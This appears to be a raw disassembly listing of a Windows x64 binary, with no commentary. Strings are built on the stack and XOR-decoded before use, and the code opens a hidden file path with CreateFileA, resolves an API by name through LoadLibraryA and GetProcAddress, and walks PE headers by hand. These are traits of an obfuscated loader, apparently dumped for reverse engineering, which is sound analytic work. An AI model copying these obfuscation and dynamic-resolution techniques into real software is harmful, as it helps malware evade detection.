xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x80], xmm1
mov r9d, 0x31
lea r8, [rbp + 0x170]
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x140026b84
movabs rax, 0x396a653e70749666
mov qword [rbp - 0x10], rax
movabs rax, 0xac69bc8c1155cca
mov qword [rbp - 8], rax
movabs rax, 0x5419c9d22862ba67
mov qword [rbp], rax
movabs rax, 0xf0ea6c6db6ea0d0d
mov qword [rbp + 8], rax
movabs rax, 0x695f072ff660bb10
mov qword [rbp + 0x10], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
xor bl, bl
call fcn.1400250e0
test al, al
je 0x140027bf0
mov bl, 1
movabs rax, 0x7e686d2067639753
mov qword [rbp - 0x10], rax
movabs rax, 0x59d49ac5c71f4aa7
mov qword [rbp - 8], rax
movabs rax, 0x4d02d4c13f66a517
mov qword [rbp], rax
movabs rax, 0xfcea6a6bf3f44454
mov qword [rbp + 8], rax
movabs rax, 0x3b277da569ad15
mov qword [rbp + 0x10], rax
movabs rax, 0xd38adad18cc2e4ad
mov qword [rbp + 0x18], rax
movabs rax, 0x2e2a19a3df6acf55
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rsi
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
call fcn.14002f910
movabs rax, 0x306b23757e629761
mov qword [rbp - 0x10], rax
movabs rax, 0x10d5db8cca124286
mov qword [rbp - 8], rax
movabs rax, 0x451696c22765a834
mov qword [rbp], rax
movabs rax, 0xf8a4246ba1f25915
mov qword [rbp + 8], rax
movabs rax, 0x8316273f079a91c
mov qword [rbp + 0x10], rax
movabs rax, 0x8899c6d1b69ae0b3
mov qword [rbp + 0x18], rax
movabs rax, 0x404371c0be27a31a
mov qword [rbp + 0x20], rax
movabs rax, 0xf9aee23e7838d05d
mov qword [rbp + 0x28], rax
movabs rax, 0xad3216bd9fbfd660
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], r15
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp - 0x10]
call fcn.14003f080
call fcn.1400253c0
test al, al
je 0x140027e66
mov bl, 1
movabs rax, 0x7e777b3a777f9752
mov qword [rbp - 0x10], rax
movabs rax, 0xad882deca0c52a2
mov qword [rbp - 8], rax
movabs rax, 0x4604dacb1b27bb28
mov qword [rbp], rax
movabs rax, 0xfbab7767f3ea5f1b
mov qword [rbp + 8], rax
movabs rax, 0x157f6364e96fa917
mov qword [rbp + 0x10], rax
movabs rax, 0x9481d6d993c9e1fe
mov qword [rbp + 0x18], rax
movabs rax, 0x2e2a19a3f144a815
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rsi
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
call fcn.14002f910
movabs rax, 0x306b23757e629761
mov qword [rbp - 0x10], rax
movabs rax, 0x10d5db8cca124286
mov qword [rbp - 8], rax
movabs rax, 0x451696c22765a834
mov qword [rbp], rax
movabs rax, 0xf8a4246ba1f25915
mov qword [rbp + 8], rax
movabs rax, 0x8316273f079a91c
mov qword [rbp + 0x10], rax
movabs rax, 0x8f88c4c1a89ae0b3
mov qword [rbp + 0x18], rax
movabs rax, 0x4f4649d1b019a60d
mov qword [rbp + 0x20], rax
movabs rax, 0x8bc184276b3be64c
mov qword [rbp + 0x28], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x79b1f4acaf7c2bea
mov qword [rbp + 0xb8], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
lea rcx, [rbp - 0x10]
call fcn.14003f080
call fcn.140025a00
movabs rdx, 0x59c391d8da0c4685
movabs r8, 0x5315c987276ba030
movabs r9, 0xeaed652ea7f54c00
movabs r10, 0x23c6e6de62dba1c
movabs r11, 0xda86db9fc0c7ebb7
test al, al
movabs rcx, 0x3d247e207c48de5e
jne 0x140027eb3
test bl, bl
je 0x140028181
movabs rax, 0x5e0469367a65916b
mov qword [rbp + 0x170], rax
movabs rbx, 0x79b1f4acaf7c2bea
mov qword [rbp + 0x178], rbx
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdx
mov qword [rbp], r8
mov qword [rbp + 8], r9
mov qword [rbp + 0x10], r10
mov qword [rbp + 0x18], r11
movabs rcx, 0x425a69c2ff05bb5b
mov qword [rbp + 0x20], rcx
movabs rcx, 0xe3a2a42f7120a041
mov qword [rbp + 0x28], rcx
movabs rcx, 0xd11237cefad8b86c
mov qword [rbp + 0x30], rcx
movabs rcx, 0x607f3ed1b1898872
mov qword [rbp + 0x38], rcx
movabs rcx, 0xcdac43607090fbbd
mov qword [rbp + 0x40], rcx
movabs rcx, 0x6e1a0d388fe4c4aa
mov qword [rbp + 0x48], rcx
movabs rcx, 0xee78428b185a0608
mov qword [rbp + 0x50], rcx
movabs rcx, 0x2700066f6e10f014
mov qword [rbp + 0x58], rcx
movabs rcx, 0x1385ddec02a1898d
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], r12
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rdi
movabs rax, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rax
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
mov r9d, 0x30
lea r8, [rbp + 0x170]
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs rax, 0x3073633167649676
mov qword [rbp - 0x50], rax
movabs rax, 0x499180838f0e04ca
mov qword [rbp - 0x48], rax
movabs rdx, 0x2070bba74b07c947
mov qword [rbp - 0x40], rdx
movabs rcx, 0x9e8b040ed3872d74
mov qword [rbp - 0x38], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1c8], rcx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rcx, [rbp - 0x50]
call fcn.14003f080
jmp 0x14002818b
movabs rbx, 0x79b1f4acaf7c2bea
call fcn.140025650
mov qword [rbp + 0xb8], rbx
test al, al
je 0x140028366
movabs rax, 0x3c24692766729b56
mov qword [rbp - 0x10], rax
movabs rax, 0x1c9187c58f084485
mov qword [rbp - 8], rax
movabs rax, 0x4750dfc22765a829
mov qword [rbp], rax
movabs rax, 0xe7ab6b7abdee0d1b
mov qword [rbp + 8], rax
movabs rax, 0x1a306e63a57fbd16
mov qword [rbp + 0x10], rax
movabs rax, 0x8e84d09884cee4fe
mov qword [rbp + 0x18], rax
movabs rax, 0xf5e7083ba06ad1a
mov qword [rbp + 0x20], rax
movabs rax, 0x8bc1844a19548032
mov qword [rbp + 0x28], rax
movabs rdi, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rdi
movabs r12, 0x2070bba74b07c947
mov qword [rbp + 0xc0], r12
movabs r15, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], r15
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
movabs rax, 0x30612c2660748c75
mov qword [rbp - 0x50], rax
movabs rax, 0x1a919bd88f0e4e9e
mov qword [rbp - 0x48], rax
movabs rax, 0x2070bb892e74a62b
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r15
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r15
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp - 0x40]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x40], xmm1
lea rdx, [rbp - 0x50]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rcx, [0x1400779f0]
call fcn.14002bca0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movabs rax, 0x396a6531727e920f
mov qword [rbp - 0x10], rax
movabs rax, 0x59dc91d8dc0558ca
mov qword [rbp - 8], rax
movabs rax, 0x4e19d9872e6ba021
mov qword [rbp], rax
movabs rax, 0xf1ff6a67f3fe5f15
mov qword [rbp + 8], rax
movabs rax, 0x47716269e66cab59
mov qword [rbp + 0x10], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
lea rdx, [0x140067884]
call fcn.14001c000
lea rdx, [0x1400793e8]
lea rcx, [0x140079418]
call fcn.140020db0
mov rax, qword [0x1400793f0]
cmp rax, qword [0x1400793e8]
je 0x140028f10
movabs rax, 0x3824613067628776
mov qword [rbp - 0x30], rax
movabs rax, 0x11d295cf8f194783
mov qword [rbp - 0x28], rax
movabs rax, 0x2070bba74b27f322
mov qword [rbp - 0x20], rax
movabs rcx, 0x9e8b040ed3872d74
mov qword [rbp - 0x18], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rcx
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x20], xmm1
lea rdx, [rbp - 0x30]
lea rcx, [0x140077670]
call fcn.14001c000
mov rdx, qword [0x1400793f0]
sub rdx, qword [0x1400793e8]
mov rcx, rax
call fcn.14002c290
movabs rcx, 0x5e0e7f3067689c25
mov qword [rbp + 0x170], rcx
mov qword [rbp + 0x178], rbx
movabs rcx, 0x5e040c551311fe05
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
mov rcx, rax
call fcn.14001c000
mov rcx, qword [0x1400793e8]
mov qword [0x1400793d0], rcx
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
mov qword [0x1400793e0], rcx
movzx eax, word [rcx + 0x14]
add rcx, 0x18
add rcx, rax
mov qword [0x1400793d8], rcx
movabs rax, 0x176a65024f3fa259
mov qword [rbp + 0x1e0], rax
movabs rax, 0x79b1f4acaf7c2b85
mov qword [rbp + 0x1e8], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rbx
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140079448], rax
lea rcx, [0x140067a80]
cmp rax, 0xffffffffffffffff
jne 0x1400287bc
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
movabs rdi, 0x2c4068347c5d8a4b
movdqa xmm6, xmmword [rbp - 0x50]
nop dword [rax + rax]
mov r8d, 0x62e8
mov rdx, rcx
lea rcx, [rbp + 0xb0]
call fcn.140022e70
nop
mov qword [rbp + 0x170], rdi
movabs rax, 0x79b1d496dd195d83
mov qword [rbp + 0x178], rax
movdqa xmm0, xmm6
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [0x140077670]
call fcn.14001c000
mov rdi, rax
mov edx, dword [rbp + 0xd0]
lea rcx, [rbp - 0x10]
call fcn.140020e40
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.14001bda0
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400329c0
mov rcx, rax
call fcn.14002f910
nop
lea rcx, [rbp - 0x10]
call fcn.14001bdb0
nop
lea rcx, [rbp + 0xb0]
cmp dword [rbp + 0xd0], 0
jl 0x140026b7f
call fcn.14001bdb0
movabs rax, 0x176a65024f3fa259
mov qword [rbp + 0x1e0], rax
movabs rax, 0x79b1f4acaf7c2b85
mov qword [rbp + 0x1e8], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp - 0x30], rax
movabs rbx, 0x79b1f4acaf7c2bea
mov qword [rbp - 0x28], rbx
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140079448], rax
cmp rax, 0xffffffffffffffff
lea rcx, [0x140067a80]
movabs rdi, 0x2c4068347c5d8a4b
je 0x140028660
movabs rdi, 0xacdf630f04b09ecf
movabs rax, 0x177d7e3066408a4b
mov qword [rbp - 0x30], rax
movabs rax, 0x10c595c1dd134d84
mov qword [rbp - 0x28], rax
movabs rax, 0x2070d6c83f46a728
mov qword [rbp - 0x20], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp - 0x18], rax
movabs rcx, 0x5e040c551311fe05
mov qword [rbp + 0x1b0], rcx
mov qword [rbp + 0x1b8], rbx
movabs rdx, 0x2070bba74b07c947
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp - 0x20], xmm1
movabs rax, 0x326022397f758a6b
mov qword [rbp + 0x170], rax
movabs rax, 0x79b1f4acaf7c2b86
mov qword [rbp + 0x178], rax
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rbx
movdqa xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400793c8], rax
test rax, rax
je 0x140029973
movabs rax, 0x7e63623c77709169
mov qword [rbp - 0x10], rax
movabs rax, 0xad89cd88f114f9c
mov qword [rbp - 8], rax
movabs rax, 0x4e14d7d2246fba67
mov qword [rbp], rax
movabs rax, 0xf1e7246bb1a75953
mov qword [rbp + 8], rax
movabs rax, 0x695f0701ab23af17
mov qword [rbp + 0x10], rax
movabs rcx, 0xfdedb4b8e0a085de
mov qword [rbp + 0x18], rcx
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rcx
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [0x140077670]
call fcn.14001c000
mov rcx, rax
call fcn.14002f910
call fcn.14001edd0
test al, al
je 0x140028f10
mov byte [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
call fcn.14001fc50
cmp byte [rsp + 0x40], 0
jne 0x1400290ed
movabs rax, 0x2a2468307f789f63
mov qword [rbp - 0x10], rax
movabs rax, 0x1f9190c2c61a0b85
mov qword [rbp - 8], rax
movabs rax, 0x1ed4ce3f64a732
mov qword [rbp], rax
movabs rax, 0xf7ab7767bbf30d08
mov qword [rbp + 8], rax
movabs rax, 0x1c2c7468a56ce80a
mov qword [rbp + 0x10], rax
movabs rax, 0x9885c0988ecfa5bb
mov qword [rbp + 0x18], rax
movabs rax, 0x475939d1ba19ba5b
mov qword [rbp + 0x20], rax
movabs rax, 0xe6aef76a6574e55c
mov qword [rbp + 0x28], rax
movabs rax, 0xc01271d3f6d7a268
mov qword [rbp + 0x30], rax
movabs rax, 0x796e3ed1b8c89c33
mov qword [rbp + 0x38], rax
movabs rax, 0xd8ff04616ddbfda0
mov qword [rbp + 0x40], rax
movabs rax, 0x630d1b249ee4c4b4
mov qword [rbp + 0x48], rax
movabs rax, 0xe97d079b571d1b12
mov qword [rbp + 0x50], rax
movabs rax, 0x2f540e692d5bf603
mov qword [rbp + 0x58], rax
movabs rax, 0x76ac8ef21fe8858d
mov qword [rbp + 0x60], rax
movabs rax, 0x866f065e5772824d
mov qword [rbp + 0x68], rax
movabs rax, 0x4ef675e694aa04f4
mov qword [rbp + 0x70], rax
movabs rax, 0x2d362738f5ae748f
mov qword [rbp + 0x78], rax
movabs rax, 0x5e040c551311fe05
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rbx
movabs rax, 0x2070bba74b07c947
mov qword [rbp + 0xc0], rax
movabs rax, 0x9e8b040ed3872d74
mov qword [rbp + 0xc8], rax
movabs rax, 0x695f0701850dc879
mov qword [rbp + 0xd0], rax
movabs rax, 0xfdedb4b8e0a085de
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], rdi
movabs rbx, 0x66e7456eec4a1dc
mov qword [rbp + 0x108], rbx
movabs rax, 0x811e27e9383d6861
mov qword [rbp + 0x110], rax
movabs rax, 0x4e7468000d309566
mov qword [rbp + 0x118], rax
movabs rax, 0x13d8fd8b6cc8fce3
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r12
movabs rax, 0x3c841a85b4cf7695
mov qword [rbp + 0x130], rax
movabs rax, 0x2d36065c90da04fa
mov qword [rbp + 0x138], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [rbp + 0x20]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x40]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
